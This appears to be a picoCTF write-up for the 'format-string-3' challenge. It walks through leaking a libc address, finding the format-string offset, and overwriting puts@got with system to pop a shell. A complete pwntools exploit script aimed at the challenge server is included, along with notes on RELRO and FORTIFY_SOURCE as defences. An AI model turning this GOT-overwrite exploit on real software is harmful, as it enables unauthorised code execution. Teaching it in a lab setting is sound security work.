Description
Can you overwrite a GOT entry through a format string vulnerability and pop a shell?
Download the binary, source (format-string-3.c), and the matching libc.so.6.
Verify protections: NX is on, PIE is off (the binary's GOT is at a fixed address). ASLR randomizes libc per run, but the binary helpfully leaks an address from libc on every connection.
Install pwntools.
wget https://artifacts.picoctf.net/c/518/format-string-3wget https://artifacts.picoctf.net/c/518/format-string-3.cwget https://artifacts.picoctf.net/c/518/libc.so.6chmod +x format-string-3checksec --file=./format-string-3pip install pwntoolsSolution
Walk me through it- Step 1Read the source: there is no win functionThe vulnerability is the classic printf(buf) on user input. The binary leaks &setvbuf so you can compute the libc base. There is no win(); you need to redirect an existing function call to system(). The puts(normal_string) at the end of main, where normal_string is the global "/bin/sh", is the obvious target.bash
cat format-string-3.cLearn more
Why puts("/bin/sh") is the gift. The author left a global string
normal_string = "/bin/sh"and a finalputs(normal_string)call. If you can change whatputsdoes, that final line becomessystem("/bin/sh")and you have a shell. Changing whatputsdoes means overwriting its GOT entry.The Global Offset Table (GOT). Dynamically-linked binaries call libc functions through a GOT entry:
call putsin the binary actually doesjmp [puts@got.plt], whereputs@got.pltis a writable pointer that the dynamic linker fills in at first use. Overwrite that pointer to point atsystemand every subsequentputscall becomes asystemcall.What you have to leak. The GOT entry for
putslives in the binary at a fixed address (PIE is off;0x404018in this build).systemlives in libc at a random address (ASLR is on). The challenge binary leaks&setvbuffor free, and inside any one libc image the offset betweensetvbufandsystemis constant. Solibc_base = leaked_setvbuf - libc.symbols['setvbuf'], thensystem_addr = libc_base + libc.symbols['system']. See ASLR / PIE bypass for CTF for the wider pattern. - Step 2Find the format-string offset and the GOT targetRun the binary with input AAAAAAAA.%1$p.%2$p.%3$p...%40$p and find the index whose value is 0x4141414141414141. That's the format-string offset to your buffer; for this build it's 38.python
python3 -c "print('AAAAAAAA' + '.'.join(f'%{i}\$p' for i in range(1, 41)))" | nc rhea.picoctf.net <PORT_FROM_INSTANCE>bash# Look in the output for 0x4141414141414141 - the slot index N before that is your offsetbash# Confirm: echo -n 'AAAAAAAA%38\$p' | ./format-string-3 should print 0x4141414141414141Learn more
Why 38 specifically. The 1024-byte
bufsits on the stack insidemain's frame.printf's nth positional argument starts in registers, then walks up the stack until it finds your buffer.38is build-specific; on a slightly different layout (different optimisation, different glibc) it can be 36, 40, or otherwise. Always re-derive with the chain.Pwntools
FmtStrcan automate the offset hunt. If you connect once and feed it a callable,FmtStrbinary-searches the offset. For this challenge the manual chain is faster; for messier formats,FmtStr-then-fmtstr_payloadis the standard combo.Find the GOT entry.
readelf -r format-string-3 | grep putsor pwntools'elf.got['puts']. PIE is off, so the address is fixed at runtime. - Step 3Build the GOT-overwrite with fmtstr_payloadCompute libc_base from the leaked setvbuf, then system_addr = libc.symbols['system'] + libc_base, then send fmtstr_payload(38, {elf.got['puts']: system_addr}). When main returns to puts(normal_string), it calls system("/bin/sh") instead.python
python3 - <<'PY' from pwn import * exe = './format-string-3' elf = context.binary = ELF(exe) libc = ELF('./libc.so.6') # io = process(exe) # local testing io = remote('rhea.picoctf.net', 0) # replace 0 with <PORT_FROM_INSTANCE> # 1. Eat the leak io.recvuntil(b'setvbuf in libc: ') setvbuf_leaked = int(io.recvline().strip(), 16) libc.address = setvbuf_leaked - libc.symbols['setvbuf'] log.info(f'libc base: {hex(libc.address)}') log.info(f'system: {hex(libc.symbols["system"])}') log.info(f'puts@got: {hex(elf.got["puts"])}') # 2. Build and send the GOT overwrite payload = fmtstr_payload(38, {elf.got['puts']: libc.symbols['system']}) io.sendline(payload) # 3. main returns -> puts(normal_string) is now system("/bin/sh") io.interactive() PYbash# inside the shell:bashls / && cat /flag.txtLearn more
How
fmtstr_payloadassembles the write. A 64-bit address is 8 bytes. Writing all 8 in one%nrequires printing 262 chars, infeasible. Pwntools splits into four%hn(2-byte) writes or eight%hhn(1-byte) writes, sequenced by a series of%cpads that set the running output length to exactly the value you want at each step. The four target addresses are appended at the end of the payload and referenced via the offset you supplied. Format strings for CTF walks the byte-by-byte construction in detail.Why this works without a win() function. The technique is called GOT overwrite or GOT poisoning. It promotes any future libc call into a hijack point.
putsis the cleanest target here because (a) the binary explicitly callsputs(normal_string)with normal_string = "/bin/sh", and (b)systemtakes the same single-string-pointer signature. No argument shuffling needed.Why ASLR doesn't save the server. ASLR randomizes the libc base on every fork, but the binary leaks
&setvbuffrom that exact same libc image before reading your input. Subtracting the staticlibc.symbols['setvbuf']offset gives you the runtime libc base for this connection. Any other libc symbol (likesystem) is then a fixed offset away.Hardenings that would have killed this. Full RELRO would mark the GOT read-only after dynamic linker setup, breaking the overwrite primitive.
FORTIFY_SOURCEwith-D_FORTIFY_SOURCE=2redirectsprintfto__printf_chk, which refuses format strings containing%n. Either of those is a one-line compile flag. See Buffer overflow exploitation for CTF for the broader hardening table.
Flag
picoCTF{...}
There is no win() in this binary. The win move is GOT poisoning: leak libc via &setvbuf, compute system, and use fmtstr_payload to point puts@got at system. The trailing puts("/bin/sh") in main becomes system("/bin/sh") and you read /flag.txt from the shell.